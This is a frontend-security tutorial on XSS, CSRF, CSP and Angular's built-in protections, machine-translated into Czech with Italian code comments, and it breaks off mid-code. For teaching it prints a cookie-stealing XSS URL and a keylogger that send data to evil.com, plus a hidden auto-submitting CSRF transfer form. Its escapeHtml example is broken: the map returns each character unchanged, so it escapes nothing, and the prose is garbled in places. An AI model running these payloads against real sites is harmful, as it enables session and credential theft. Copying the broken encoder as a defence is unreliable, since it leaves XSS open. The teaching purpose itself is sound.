02 - XSS, CSRF a CSP: Zabezpečení frontendu
Frontend je prvním bodem kontaktu mezi uživatelem a vaší aplikací. Každé vstupní pole, každá adresa URL, každý požadavek HTTP představuje potenciální vektor útoku. V roce 2025 s Single Page Aplikace (SPA), progresivní webová aplikace (PWA) a hybridní architektury SSR/CSR, útočná plocha frontend se nesmírně rozšířil. Bezpečnosti frontendu dominují tři zkratky: XSS (Skriptování napříč weby), CSRF (Padělání požadavků napříč stránkami) e CSP (Zásady zabezpečení obsahu). Zvládnutí těchto tří oblastí znamená ochranu vaši uživatelé nebudou krást relace, provádět neoprávněné akce a injekční aplikace škodlivý kód.
V tomto článku podrobně analyzujeme každý útok s reálnými příklady zranitelného kódu a bezpečné, praktické konfigurace a kompletní kontrolní seznam pro vaše zabezpečení Úhlová aplikace.
Co se naučíte
- Tři typy XSS (odražené, uložené, založené na DOM) s příklady skutečného užitečného zatížení
- Jak funguje CSRF útok a proč samotné cookies nestačí
- Všechny direktivy CSP s praktickými konfiguracemi pro Angular, Express a Nginx
- Základní bezpečnostní HTTP hlavičky a jak je nakonfigurovat
- XSS a CSRF ochrany zabudované do Angular a jak je nezakázat
- proč 86 % kódu generovaného umělou inteligencí neprojde testy XSS
- Profesionální nástroje pro testování frontendové bezpečnosti
Útočná plocha moderního frontendu
Moderní webová aplikace již není jednoduchá HTML stránka obsluhovaná serverem. SPA jako ty postavené s Angular, React nebo Vue zvládají směrování, stav, autentizaci a logiku podnikání přímo ve vašem prohlížeči. Tím se přemístí značná část povrchu útok ze serveru na klienta.
Zde jsou hlavní vektory útoku v moderním frontendu:
- Nedezinfikovaný uživatelský vstup: textová pole, URL, řetězec dotazu, fragment hash, cookie, HTTP hlavička, nahrání souboru, localStorage, WebSocket zprávy
- Dynamické vykreslování DOM:
innerHTML,document.write(), neuvedené řetězce šablon, podmíněné vykreslování na základě externích dat - Závislosti třetích stran: Knihovny JavaScriptu načtené pomocí CDN, analytické skripty, sociální widgety, externí písma
- Komunikace napříč původy: Požadavky API, postMessage, vkládání prvků iframe, připojení WebSocket
- Místní úložiště: localStorage, sessionStorage, IndexedDB mohou obsahovat citlivá data přístupná škodlivými skripty
Kritická data: Výskyt frontendových útoků
Podle zprávy HackerOne 2025 Cross-Site Scripting zůstává největší zranitelností hlášeno v bug bounty programech, což představuje 18 % všech hlášení. CSRF následuje na 7 %. Dohromady tyto dva útoky tvoří čtvrtinu všech zranitelnosti nalezené profesionálními bezpečnostními výzkumníky.
Cross-Site Scripting (XSS): Nejoblíbenější útok
Il Cross-Site Scripting (XSS) nastane, když se útočníkovi podaří injekci a spustit kód JavaScript v prohlížeči jiného uživatele v kontextu důvěryhodné webové stránky. Útok využívá důvěru, kterou má prohlížeč uživatele vůči webu: vložený kód běží se stejnými oprávněními jako legitimní JavaScript aplikace, a proto může přístup k souborům cookie, relacím, tokenům a jakýmkoli datům na stránce.
Existují tři hlavní varianty XSS, z nichž každá má jiný mechanismus vstřikování:
1. Odražené XSS (netrvalé)
Il Odražené XSS dochází, když je uživatelský vstup zahrnut do HTTP odpověď serveru bez dezinfekce. Škodlivý náklad je obsažen v adrese URL a přichází "odráží" na stránce HTML. Útočník musí přesvědčit oběť, aby klikla na odkaz účelové (phishing, sociální inženýrství).
// L'attaccante costruisce questo URL e lo invia alla vittima:
https://shop.example.com/search?q=<script>
fetch('https://evil.com/steal?cookie='+document.cookie)
</script>
// Il server genera la pagina con il termine di ricerca non sanitizzato:
<h2>Risultati per: <script>fetch('https://evil.com/steal?...')</script></h2>
// Il browser della vittima esegue lo script: il cookie di sessione
// viene inviato al server dell'attaccante
// VULNERABILE: il parametro viene inserito direttamente nell'HTML
app.get('/search', (req, res) => {
const query = req.query.q;
res.send(`
<h2>Risultati per: ${query}</h2>
<div id="results">...</div>
`);
});
// SICURO: output encoding con escape dei caratteri HTML
import { escape as escapeHtml } from 'lodash';
app.get('/search', (req, res) => {
const query = escapeHtml(req.query.q || '');
res.send(`
<h2>Risultati per: ${query}</h2>
<div id="results">...</div>
`);
});
// <script> diventa <script> - non viene eseguito
2. Uložené XSS (trvalé)
Lo Uložené XSS a nejnebezpečnější varianta. Škodlivý náklad je uložen trvale v databázi serveru (například v komentáři, v uživatelském profilu, v a zpráva) a je poskytována každému uživateli, který si daný zdroj zobrazí. To nevyžaduje, aby oběť klikne na speciální odkaz: stačí navštívit kontaminovanou stránku.
// L'attaccante inserisce questo commento nel blog:
const maliciousComment = `
Ottimo articolo!
<img src="x" onerror="
// Keylogger: cattura tutto ciò che l'utente digita
document.addEventListener('keypress', function(e) {
fetch('https://evil.com/keys?k=' + e.key);
});
">
`;
// VULNERABILE: il commento viene salvato e renderizzato senza sanitizzazione
app.post('/api/comments', async (req, res) => {
await db.comments.insert({
text: req.body.text, // Nessuna sanitizzazione!
author: req.user.id,
date: new Date()
});
res.json({ success: true });
});
// Nella pagina del blog, il commento viene inserito con innerHTML:
commentDiv.innerHTML = comment.text; // Lo script viene eseguito!
// SICURO: sanitizzazione sia in input che in output
import DOMPurify from 'dompurify';
import { escape as escapeHtml } from 'lodash';
app.post('/api/comments', async (req, res) => {
// Sanitizzazione in input: rimuovi tag pericolosi
const cleanText = DOMPurify.sanitize(req.body.text, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
ALLOWED_ATTR: ['href']
});
await db.comments.insert({
text: cleanText,
author: req.user.id,
date: new Date()
});
res.json({ success: true });
});
// In output: usa textContent invece di innerHTML quando possibile
commentDiv.textContent = comment.text;
3. XSS na bázi DOM
Il XSS na bázi DOM a nejzáludnější, protože náklad nikdy neprojde
serveru. K útoku dochází výhradně v prohlížeči: legitimní kód JavaScript na stránce
čte data ze zdroje kontrolovaného útočníkem (URL, fragment hash, document.referrer,
postMessage) a vloží je do DOM bez sanitace.
// VULNERABILE: legge dal fragment hash e inserisce nel DOM
// URL malevolo: https://app.example.com/#<img src=x onerror=alert(document.cookie)>
const userInput = document.location.hash.substring(1);
document.getElementById('content').innerHTML = decodeURIComponent(userInput);
// Il browser esegue il codice nell'attributo onerror!
// VULNERABILE: document.referrer usato come sink
document.getElementById('back-link').innerHTML =
'<a href="' + document.referrer + '">Torna indietro</a>';
// document.referrer può contenere payload XSS
// VULNERABILE: postMessage senza validazione dell'origine
window.addEventListener('message', (event) => {
// Accetta messaggi da qualsiasi origine!
document.getElementById('widget').innerHTML = event.data.html;
});
// SICURO: sanitizzazione e validazione
import DOMPurify from 'dompurify';
const userInput = document.location.hash.substring(1);
const decoded = decodeURIComponent(userInput);
document.getElementById('content').textContent = decoded; // textContent, non innerHTML
// SICURO: postMessage con validazione dell'origine
window.addEventListener('message', (event) => {
if (event.origin !== 'https://trusted.example.com') {
return; // Rifiuta messaggi da origini non fidate
}
const cleanHtml = DOMPurify.sanitize(event.data.html);
document.getElementById('widget').innerHTML = cleanHtml;
});
Skutečný dopad útoků XSS
Úspěšný útok XSS může způsobit obrovské škody. Zde je to, co může útočník udělat jednou který spouští JavaScript v prohlížeči oběti:
| Typ útoku | Popis | Závažnost |
|---|---|---|
| Únos relace | Krádež souboru cookie relace za účelem předstírání identity uživatele | Kritika |
| Keylogging | Zachycení každé klávesy stisknuté uživatelem (hesla, kreditní karty) | Kritika |
| Znečištění | Změna viditelného obsahu stránky s cílem poškodit pověst | Vysoký |
| Phishing | Vkládání falešných přihlašovacích formulářů za účelem krádeže přihlašovacích údajů | Kritika |
| Těžba kryptoměn | Spuštění těžařů kryptoměn v prohlížeči oběti | Průměrný |
| XSS červi | Skript, který se sám šíří infikováním profilů jiných uživatelů | Kritika |
| Exfiltrace dat | Čtení a odesílání citlivých údajů ze stránky (token, osobní údaje) | Kritika |
Prevence XSS: Obrana do hloubky
Prevence XSS vyžaduje přístup obrana do hloubky: nespoléhejte na a jediná úroveň obrany, ale kombinuje více doplňkových technik. Cílem je to zajistit žádná nedůvěryhodná data nemohou být prohlížečem interpretována jako kód.
1. Výstupní kódování (první linie obrany)
Výstupní kódování transformuje speciální znaky na bezpečné HTML entity před jejich vložením do DOM. A nejdůležitější obrana proti Reflected and Stored XSS.
// Contesto HTML: escape dei caratteri HTML
function escapeHtml(str: string): string {
const map: Record<string, string> = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": ''',
'/': '/'
};
return str.replace(/[&<>"'/]/g, (c) => map[c]);
}
// Contesto attributo HTML
// <div title="USER_INPUT">
const safeAttr = escapeHtml(userInput);
// Contesto URL: codifica i parametri
// <a href="/search?q=USER_INPUT">
const safeUrl = encodeURIComponent(userInput);
// Contesto JavaScript: JSON.stringify con escape
// <script>var data = USER_INPUT;</script>
const safeJs = JSON.stringify(userInput);
// Contesto CSS: evita completamente input utente in CSS
// NON fare mai: element.style.background = userInput;
2. Zadejte dezinfekci pomocí DOMPurify
Pokud potřebujete přijmout HTML od uživatele (rich-textový editor, markdown), použijte Očistěte k odstranění nebezpečných značek nebo atributů.
import DOMPurify from 'dompurify';
// Configurazione base: rimuovi tutto il JavaScript
const clean = DOMPurify.sanitize(dirtyHtml);
// Configurazione restrittiva: solo tag formattazione base
const strictClean = DOMPurify.sanitize(dirtyHtml, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br', 'ul', 'ol', 'li'],
ALLOWED_ATTR: ['href', 'title'],
ALLOW_DATA_ATTR: false
});
// Configurazione per editor rich-text
const richTextClean = DOMPurify.sanitize(dirtyHtml, {
ALLOWED_TAGS: ['h1', 'h2', 'h3', 'p', 'br', 'ul', 'ol', 'li',
'strong', 'em', 'a', 'img', 'blockquote', 'pre', 'code'],
ALLOWED_ATTR: ['href', 'src', 'alt', 'title', 'class'],
ALLOWED_URI_REGEXP: /^(?:(?:https?|mailto):|[^a-z]|[a-z+.-]+(?:[^a-z+.\-:]|$))/i
});
// Hook personalizzato: rimuovi attributi on*
DOMPurify.addHook('uponSanitizeAttribute', (node, data) => {
if (data.attrName.startsWith('on')) {
data.keepAttr = false; // Rimuovi onclick, onerror, onload, etc.
}
});
3. Ochrana XSS v Angular
Angular poskytuje robustní, vestavěnou XSS ochranu. Rámec se zabývá všechny hodnoty jako standardně nedůvěryhodné a automaticky je dezinfikuje před vložením do DOM. Tato ochrana funguje na interpolaci, vazbě vlastností a vazbě atributů.
import { Component } from '@angular/core';
import { DomSanitizer, SafeHtml } from '@angular/platform-browser';
@Component({
selector: 'app-comment',
template: `
<!-- SICURO: Angular esegue l'escape automaticamente -->
<p>Commento: {{ userComment }}</p>
<!-- SICURO: Angular sanitizza innerHTML automaticamente -->
<div [innerHTML]="userComment"></div>
<!-- <script> e onerror vengono rimossi automaticamente -->
<!-- SICURO: textContent non interpreta HTML -->
<div [textContent]="userComment"></div>
<!-- PERICOLOSO: bypass del sanitizer -->
<div [innerHTML]="trustedHtml"></div>
`
})
export class CommentComponent {
userComment = '<script>alert("XSS")</script><b>Testo</b>';
trustedHtml: SafeHtml;
constructor(private sanitizer: DomSanitizer) {
// bypassSecurityTrustHtml: SOLO per contenuto che controlli al 100%
// Mai usarlo con input utente!
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml(
'<div class="safe-content">Contenuto controllato internamente</div>'
);
}
}
Když vás Angular nechrání
- Použití
bypassSecurityTrustHtml/Script/Style/Url/ResourceUrls uživatelskými údaji - Přímá manipulace s DOM
ElementRef.nativeElement.innerHTML - Použití
document.write()oeval() - Dynamická konstrukce URL s
javascript:protokol - Vykreslování na straně serveru bez kódování (vlastní šablony Angular Universal)
4. Reagujte JSX Auto-Escaping
React také poskytuje vestavěnou ochranu XSS. JSX automaticky unikne všem
vykreslené hodnoty. Jedinou výjimkou je rekvizita dangerouslySetInnerHTML, to
obchází ochranu (samotný název je varování).
// SICURO: JSX esegue l'escape automaticamente
function SafeComponent({ userInput }: { userInput: string }) {
return <p>{userInput}</p>; // <script> diventa testo visibile
}
// PERICOLOSO: bypassa la protezione di React
function UnsafeComponent({ html }: { html: string }) {
return <div dangerouslySetInnerHTML={{ __html: html }} />;
// Se html contiene <script>, viene eseguito!
}
// SICURO: sanitizza prima di usare dangerouslySetInnerHTML
import DOMPurify from 'dompurify';
function SafeRichText({ html }: { html: string }) {
const clean = DOMPurify.sanitize(html);
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
Cross-Site Request Forgery (CSRF): Neviditelný útok
Il CSRF (Cross-Site Request Forgery) a útok, který vynutí prohlížeč a ověřenému uživateli odeslat neúmyslný požadavek na stránku, ke které je již přihlášen. A Na rozdíl od XSS CSRF nevkládá kód do stránky oběti: využívá skutečnosti, že prohlížeč automaticky odesílá soubory cookie relace s každým požadavkem do přidružené domény, bez ohledu na to, který web požadavek vygeneroval.
Jak funguje útok CSRF
Tok CSRF útoku probíhá takto:
- Uživatel se autentizuje su
bank.example.coma obdrží soubor cookie relace - Uživatel navštíví škodlivý web (
evil.example.com) v jiné záložce - Škodlivý web obsahuje skrytý formulář nebo obrázek, který generuje požadavek
bank.example.com - Prohlížeč odesílá automaticky cookie relace uživatele s požadavkem
- Server banky přijme zdánlivě legitimní požadavek a provede jej
<!-- Pagina malevola su evil.example.com -->
<html>
<body>
<h1>Congratulazioni! Hai vinto un premio!</h1>
<!-- Form nascosto che effettua un bonifico -->
<form id="csrf-form"
action="https://bank.example.com/api/transfer"
method="POST"
style="display:none">
<input name="to" value="attacker-account-123" />
<input name="amount" value="10000" />
<input name="currency" value="EUR" />
</form>
<!-- Il form viene inviato automaticamente -->
<script>document.getElementById('csrf-form').submit();</script>
<!-- Alternativa: immagine che genera una GET (meno pericolosa) -->
<img src="https://bank.example.com/api/transfer?to=attacker&amount=1000"
style="display:none" />
</body>
</html>
protože cookie nestačí
Cookies automaticky odesílá prohlížeč s každým požadavkem na doménu, která je posílá vydal. Server nedokáže rozlišit legitimní požadavek od požadavku pouze CSRF při pohledu na soubor cookie: oba obsahují platný soubor cookie relace. Jsou potřeba mechanismy navíc k ověření, že požadavek pochází z legitimního webu.
Prevence CSRF: čtyři základní techniky
1. Atribut souboru cookie SameSite
Atribut SameSite na cookies a nejmodernější a nejúčinnější CSRF obranu.
Řídí, kdy prohlížeč odešle soubor cookie s požadavky napříč weby.
| Hodnota SameSite | Chování | CSRF ochrana |
|---|---|---|
Strict |
Soubor cookie byl odeslán pouze pro požadavky stejného webu. Nikdy neodesílané pro požadavky napříč weby, a to ani pro normální odkazy | Maximum |
Lax |
Soubor cookie odeslaný pro navigaci nejvyšší úrovně GET (odkaz), ale NE pro požadavky POST, iframe nebo mezi weby AJAX | Dobré (výchozí v Chrome) |
None |
Soubor cookie byl vždy odeslán (vyžaduje Secure). Vyžadováno pro legitimní integraci mezi weby |
Žádný |
import session from 'express-session';
app.use(session({
secret: process.env.SESSION_SECRET!,
cookie: {
httpOnly: true, // Non accessibile da JavaScript
secure: true, // Solo HTTPS
sameSite: 'lax', // Protezione CSRF
maxAge: 3600000, // 1 ora
domain: '.example.com',
path: '/'
},
resave: false,
saveUninitialized: false
}));
2. Vzor tokenu synchronizátoru (CSRF Token)
Klasický a nejrobustnější vzorec: server generuje jedinečný náhodný token na relaci, lo zahrne jej do formuláře jako skryté pole a zkontroluje jej při každém požadavku POST. Škodlivý web nemůže znát token, protože nemá přístup k DOM legitimního webu.
import crypto from 'crypto';
// Middleware: genera il CSRF token e lo salva nella sessione
function csrfTokenMiddleware(req: Request, res: Response, next: NextFunction) {
if (!req.session.csrfToken) {
req.session.csrfToken = crypto.randomBytes(32).toString('hex');
}
// Rendi il token disponibile nei template
res.locals.csrfToken = req.session.csrfToken;
next();
}
// Middleware: verifica il CSRF token nelle richieste POST/PUT/DELETE
function csrfValidation(req: Request, res: Response, next: NextFunction) {
if (['POST', 'PUT', 'DELETE', 'PATCH'].includes(req.method)) {
const token = req.body._csrf || req.headers['x-csrf-token'];
if (!token || token !== req.session.csrfToken) {
return res.status(403).json({ error: 'Token CSRF non valido' });
}
}
next();
}
// Nel form HTML:
// <input type="hidden" name="_csrf" value="TOKEN_GENERATO">
3. Vzor dvojitého odeslání cookie
Bezstavová alternativa: server odešle token CSRF jako soubor cookie i jako pole formuláře. Po obdržení ověřte, že se obě hodnoty shodují. Škodlivý web může odeslat cookie (prohlížeč to dělá automaticky), ale nemůže přečíst hodnotu cookie pro zahrnout jej do těla požadavku.
import crypto from 'crypto';
// Il server genera il token e lo invia come cookie
function setDoubleSubmitToken(req: Request, res: Response, next: NextFunction) {
const token = crypto.randomBytes(32).toString('hex');
res.cookie('csrf-token', token, {
httpOnly: false, // Il JavaScript del sito deve poterlo leggere
secure: true,
sameSite: 'lax',
path: '/'
});
next();
}
// Validazione: il valore nel cookie deve corrispondere a quello nell'header
function validateDoubleSubmit(req: Request, res: Response, next: NextFunction) {
if (['POST', 'PUT', 'DELETE', 'PATCH'].includes(req.method)) {
const cookieToken = req.cookies['csrf-token'];
const headerToken = req.headers['x-csrf-token'];
if (!cookieToken || !headerToken || cookieToken !== headerToken) {
return res.status(403).json({ error: 'CSRF validation failed' });
}
}
next();
}
4. Ověření hlavičky původu/odkazu
Zkontrolujte, zda je záhlaví Origin o Referer žádosti odpovídá
do domény webu. A dodatečná obrana, ne primární, protože tyto hlavičky mohou být
v některých kontextech chybí.
const ALLOWED_ORIGINS = [
'https://app.example.com',
'https://www.example.com'
];
function validateOrigin(req: Request, res: Response, next: NextFunction) {
if (['POST', 'PUT', 'DELETE', 'PATCH'].includes(req.method)) {
const origin = req.headers.origin || req.headers.referer;
if (!origin) {
// Fail-closed: se manca l'origin, rifiuta la richiesta
return res.status(403).json({ error: 'Origin header mancante' });
}
const requestOrigin = new URL(origin).origin;
if (!ALLOWED_ORIGINS.includes(requestOrigin)) {
return res.status(403).json({ error: 'Origin non autorizzato' });
}
}
next();
}
CSRF ochrana v Angular
Angular poskytuje vestavěnou podporu CSRF prostřednictvím HttpClient. Když server odešle
sušenka XSRF-TOKEN, Angular jej automaticky přečte a zahrne jako záhlaví
X-XSRF-TOKEN v každém mutativním požadavku (POST, PUT, DELETE, PATCH).
// app.config.ts - Angular legge XSRF-TOKEN e invia X-XSRF-TOKEN automaticamente
import { provideHttpClient, withXsrfConfiguration } from '@angular/common/http';
export const appConfig = {
providers: [
provideHttpClient(
withXsrfConfiguration({
cookieName: 'XSRF-TOKEN', // Nome del cookie (default)
headerName: 'X-XSRF-TOKEN' // Nome dell'header (default)
})
)
]
};
// Server Express: imposta il cookie XSRF-TOKEN
import csurf from 'csurf';
app.use(csurf({
cookie: {
key: 'XSRF-TOKEN',
httpOnly: false, // Angular deve poterlo leggere
secure: true,
sameSite: 'lax'
}
}));
Zásady zabezpečení obsahu (CSP): Nejvyšší obrana proti XSS
La Zásady zabezpečení obsahu (CSP) a HTTP hlavičku, která vám umožní zkontrolovat
jaké zdroje může prohlížeč načíst a spustit. A nejsilnější obrana proti XSS, protože
funguje na úrovni prohlížeče: i když se útočníkovi podaří jednu vložit <script>
v DOM jej prohlížeč odmítne spustit, pokud není autorizován zásadou CSP.
CSP funguje na principu whitelist: Explicitně definujte které zdroje jsou autorizovány pro každý typ zdroje (skripty, styly, obrázky, fonty, připojení). Vše, co není výslovně povoleno, je blokováno.
CSP přes záhlaví vs meta tag
// 1. Header HTTP (preferito - più sicuro, supporta report-uri)
Content-Security-Policy: default-src 'self'; script-src 'self'
// 2. Meta tag HTML (fallback se non puoi controllare gli header)
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self'">
// NOTA: il meta tag NON supporta frame-ancestors e report-uri
Podrobné pokyny CSP
| Směrnice | Kontrola | Příklad |
|---|---|---|
default-src |
Záloha pro všechny ostatní nespecifikované direktivy | 'self' |
script-src |
Zdroje skriptů JavaScript | 'self' 'nonce-abc123' |
style-src |
Zdroje stylů CSS | 'self' https://fonts.googleapis.com |
img-src |
Zdroje obrázků | 'self' data: https: |
connect-src |
URL pro načtení, XHR, WebSocket, EventSource | 'self' https://api.example.com |
font-src |
Zdroje písem | 'self' https://fonts.gstatic.com |
frame-src |
Zdroje pro prvky iframe | 'none' |
frame-ancestors |
Kdo může stránku vložit do prvku iframe | 'none' (anti-clickjacking) |
base-uri |
Platné adresy URL pro značku <base> |
'self' |
form-action |
Platné adresy URL pro atribut action formulářů | 'self' |
object-src |
Zdroje pro pluginy (Flash, Java Applet) | 'none' |
Nonce a striktně dynamický: Moderní CSP
Systém nonce a nejbezpečnější způsob autorizace konkrétních skriptů. Server
generuje náhodnou hodnotu pro každý požadavek a zahrne ji do hlavičky CSP i do atributu
script nonce. Provádějí se pouze skripty se správným nonce.
import crypto from 'crypto';
// Middleware Express: genera un nonce per ogni richiesta
app.use((req, res, next) => {
const nonce = crypto.randomBytes(16).toString('base64');
res.locals.cspNonce = nonce;
res.setHeader('Content-Security-Policy', [
"default-src 'self'",
`script-src 'nonce-${nonce}' 'strict-dynamic'`,
"style-src 'self' 'unsafe-inline' https://fonts.googleapis.com",
"img-src 'self' data: https:",
"font-src 'self' https://fonts.gstatic.com",
"connect-src 'self' https://api.example.com",
"frame-ancestors 'none'",
"base-uri 'self'",
"form-action 'self'",
"object-src 'none'"
].join('; '));
next();
});
// Nel template HTML:
// <script nonce="NONCE_GENERATO">...codice legittimo...</script>
// Con 'strict-dynamic': gli script caricati da script con nonce
// sono automaticamente autorizzati (cascading trust)
proč se vyhnout „nebezpečnému-inline“ pro skripty
Směrnice 'unsafe-inline' in script-src téměř se to ruší
Kompletní ochrana CSP proti XSS. Umožňuje spuštění libovolného skriptu
inline, včetně těch, které vložil útočník. Pokud potřebujete inline skript, použijte
noce o hash místo 'unsafe-inline'.
Pro styly, 'unsafe-inline' a často nutné a méně nebezpečné.
Režim CSP pouze pro sestavy
Před aktivací CSP v produkci použijte Content-Security-Policy-Report-Only pro
sledovat porušení, aniž by je blokovalo. To vám umožní identifikovat a vyřešit
problémy s kompatibilitou před aplikací zásad.
// Report-Only: monitora senza bloccare
res.setHeader('Content-Security-Policy-Report-Only',
"default-src 'self'; " +
"script-src 'self'; " +
"report-uri /api/csp-report; " +
"report-to csp-endpoint"
);
// Endpoint per ricevere i report di violazione
app.post('/api/csp-report', express.json({ type: 'application/csp-report' }),
(req, res) => {
const violation = req.body['csp-report'];
console.log('CSP Violation:', {
documentUri: violation['document-uri'],
violatedDirective: violation['violated-directive'],
blockedUri: violation['blocked-uri'],
sourceFile: violation['source-file'],
lineNumber: violation['line-number']
});
res.status(204).end();
}
);
Praktický CSP: Konfigurace pro skutečná prostředí
Nastavení CSP pro Angular s Express.js
import helmet from 'helmet';
import crypto from 'crypto';
app.use((req, res, next) => {
res.locals.cspNonce = crypto.randomBytes(16).toString('base64');
next();
});
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: [
"'self'",
(req, res) => `'nonce-${res.locals.cspNonce}'`,
"'strict-dynamic'",
"https://www.googletagmanager.com"
],
styleSrc: [
"'self'",
"'unsafe-inline'", // Necessario per Angular styles
"https://fonts.googleapis.com"
],
imgSrc: ["'self'", "data:", "https:"],
fontSrc: ["'self'", "https://fonts.gstatic.com"],
connectSrc: [
"'self'",
"https://api.example.com",
"https://www.google-analytics.com"
],
frameAncestors: ["'none'"],
objectSrc: ["'none'"],
baseUri: ["'self'"],
formAction: ["'self'"],
upgradeInsecureRequests: []
}
},
crossOriginEmbedderPolicy: false
}));
Konfigurace CSP pro Nginx
server {
listen 443 ssl http2;
server_name example.com;
# Content Security Policy
add_header Content-Security-Policy
"default-src 'self'; "
"script-src 'self' https://www.googletagmanager.com; "
"style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; "
"img-src 'self' data: https:; "
"font-src 'self' https://fonts.gstatic.com; "
"connect-src 'self' https://api.example.com; "
"frame-ancestors 'none'; "
"base-uri 'self'; "
"form-action 'self'; "
"object-src 'none'; "
"upgrade-insecure-requests"
always;
# Altri header di sicurezza (vedi sezione dedicata)
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
}
Základy zabezpečení záhlaví HTTP
Kromě CSP existují další HTTP hlavičky, které výrazně posilují zabezpečení vaší aplikace. Každá z nich chrání před specifickým typem útoku.
| Záhlaví | Doporučená hodnota | Ochrana |
|---|---|---|
X-Frame-Options |
DENY |
Zabraňuje clickjackingu (vkládání do prvků iframe) |
X-Content-Type-Options |
nosniff |
Zabraňuje čichání MIME (prohlížeč nehádá typ obsahu) |
Strict-Transport-Security |
max-age=31536000; includeSubDomains; preload |
Vynutit HTTPS pro všechna budoucí připojení (HSTS) |
Referrer-Policy |
strict-origin-when-cross-origin |
Řídí, jaké informace se odesílají v záhlaví Referer |
Permissions-Policy |
camera=(), microphone=(), geolocation=() |
Zakažte nepotřebná rozhraní API prohlížeče |
X-XSS-Protection |
0 |
Zakázat starší filtr XSS prohlížeče (může vytvářet chyby zabezpečení) |
Cross-Origin-Opener-Policy |
same-origin |
Izoluje kontext procházení od dokumentů s více zdroji |
Cross-Origin-Resource-Policy |
same-origin |
Zabraňuje křížovému načítání aktiv |
import helmet from 'helmet';
app.use(helmet({
// CSP (configurata separatamente per il nonce)
contentSecurityPolicy: false,
// Previeni clickjacking
frameguard: { action: 'deny' },
// Previeni MIME sniffing
noSniff: true,
// HSTS: forza HTTPS per 1 anno
hsts: {
maxAge: 31536000,
includeSubDomains: true,
preload: true
},
// Referrer Policy
referrerPolicy: { policy: 'strict-origin-when-cross-origin' },
// Disabilita il filtro XSS legacy (può essere sfruttato)
xssFilter: false,
// Cross-Origin policies
crossOriginOpenerPolicy: { policy: 'same-origin' },
crossOriginResourcePolicy: { policy: 'same-origin' }
}));
// Permissions Policy (non gestito da Helmet)
app.use((req, res, next) => {
res.setHeader('Permissions-Policy',
'camera=(), microphone=(), geolocation=(), payment=()');
next();
});
Testování vašich záhlaví
Po konfiguraci záhlaví zkontrolujte výsledek pomocí těchto bezplatných nástrojů:
- securityheaders.com - Úplná analýza hlaviček HTTP s hodnocením A-F
- observatoř.mozilla.org - Bezpečnostní skener Mozilla
- csp-evaluator.withgoogle.com – Specifický validátor Google CSP
Zabezpečení v Angular: Integrovaná ochrana
Angular implementuje robustní bezpečnostní systém, který chrání vývojáře před nejčastější zranitelnosti. Je důležité pochopit, jak to funguje, abyste jej nevyřadili nechtěně.
Automatická sanitace DOM
Angular klasifikuje hodnoty do pěti bezpečnostní kontextya použít pro každého jiná sanitace:
| Kontext | Metoda bypassu | Kdy jej použít |
|---|---|---|
| HTML | bypassSecurityTrustHtml() |
HTML obsah z důvěryhodného CMS |
| Styl | bypassSecurityTrustStyle() |
Interně vypočítané dynamické styly |
| URL | bypassSecurityTrustUrl() |
URL vytvořené interní logikou |
| Adresa URL zdroje | bypassSecurityTrustResourceUrl() |
Adresa URL pro skripty/prvky iframe z důvěryhodných sítí CDN |
| Skripty | bypassSecurityTrustScript() |
Téměř nikdy - extrémně nebezpečné |
import { Component, inject } from '@angular/core';
import { DomSanitizer } from '@angular/platform-browser';
@Component({
selector: 'app-safe-content',
template: `
<!-- SICURO: Angular sanitizza automaticamente -->
<div [innerHTML]="htmlContent"></div>
<!-- SICURO: textContent non interpreta HTML -->
<span [textContent]="userInput"></span>
<!-- SICURO con bypass controllato -->
<iframe [src]="safeSrc"></iframe>
<!-- PERICOLOSO: non fare mai questo -->
<div [innerHTML]="unsafeBypass"></div>
`
})
export class SafeContentComponent {
private sanitizer = inject(DomSanitizer);
htmlContent = '<b>Bold</b><script>alert(1)</script>';
// Angular rimuove <script>, mantiene <b>
userInput = '<script>alert(1)</script>';
// Renderizzato come testo visibile
// SICURO: URL hardcoded e fidato
safeSrc = this.sanitizer.bypassSecurityTrustResourceUrl(
'https://www.youtube.com/embed/video-id'
);
// PERICOLOSO: MAI con input utente
unsafeBypass = this.sanitizer.bypassSecurityTrustHtml(
this.getUserInput() // Potrebbe contenere XSS!
);
private getUserInput(): string {
return ''; // Simulazione
}
}
Ochrana HttpClient XSRF
Formulář HttpClient Angular nativně podporuje ochranu CSRF prostřednictvím
mechanismus dvojitého odeslání cookie. Chcete-li jej aktivovat, nechte server nastavit cookie
XSRF-TOKEN: Angular jej automaticky přečte a zahrne jako záhlaví
X-XSRF-TOKEN v každém požadavku POST, PUT, DELETE a PATCH.
// app.config.ts
import {
provideHttpClient,
withXsrfConfiguration,
withInterceptors
} from '@angular/common/http';
export const appConfig = {
providers: [
provideHttpClient(
// XSRF automatico
withXsrfConfiguration({
cookieName: 'XSRF-TOKEN',
headerName: 'X-XSRF-TOKEN'
}),
// Interceptor personalizzati
withInterceptors([authInterceptor, errorInterceptor])
)
]
};
// auth.interceptor.ts
import { HttpInterceptorFn } from '@angular/common/http';
export const authInterceptor: HttpInterceptorFn = (req, next) => {
// Aggiungi Authorization solo per le API interne
if (req.url.startsWith('/api/')) {
const token = localStorage.getItem('access_token');
if (token) {
const authReq = req.clone({
setHeaders: { Authorization: `Bearer ${token}` }
});
return next(authReq);
}
}
return next(req);
};
CSP a Angular: Výzvy a řešení
Angular generuje inline styly pro komponenty (součást View Encapsulation). To vyžaduje
'unsafe-inline' in style-src, což je naštěstí mnohem méně
nebezpečnější než 'unsafe-inline' in script-src. Pro skripty použijte
vždy systém nonce.
// server.ts - Angular Universal con nonce CSP
import { ngExpressEngine } from '@nguniversal/express-engine';
import crypto from 'crypto';
app.engine('html', ngExpressEngine({
bootstrap: AppServerModule
}));
app.get('*', (req, res) => {
const nonce = crypto.randomBytes(16).toString('base64');
// Imposta CSP con il nonce
res.setHeader('Content-Security-Policy',
`default-src 'self'; ` +
`script-src 'self' 'nonce-${nonce}' 'strict-dynamic'; ` +
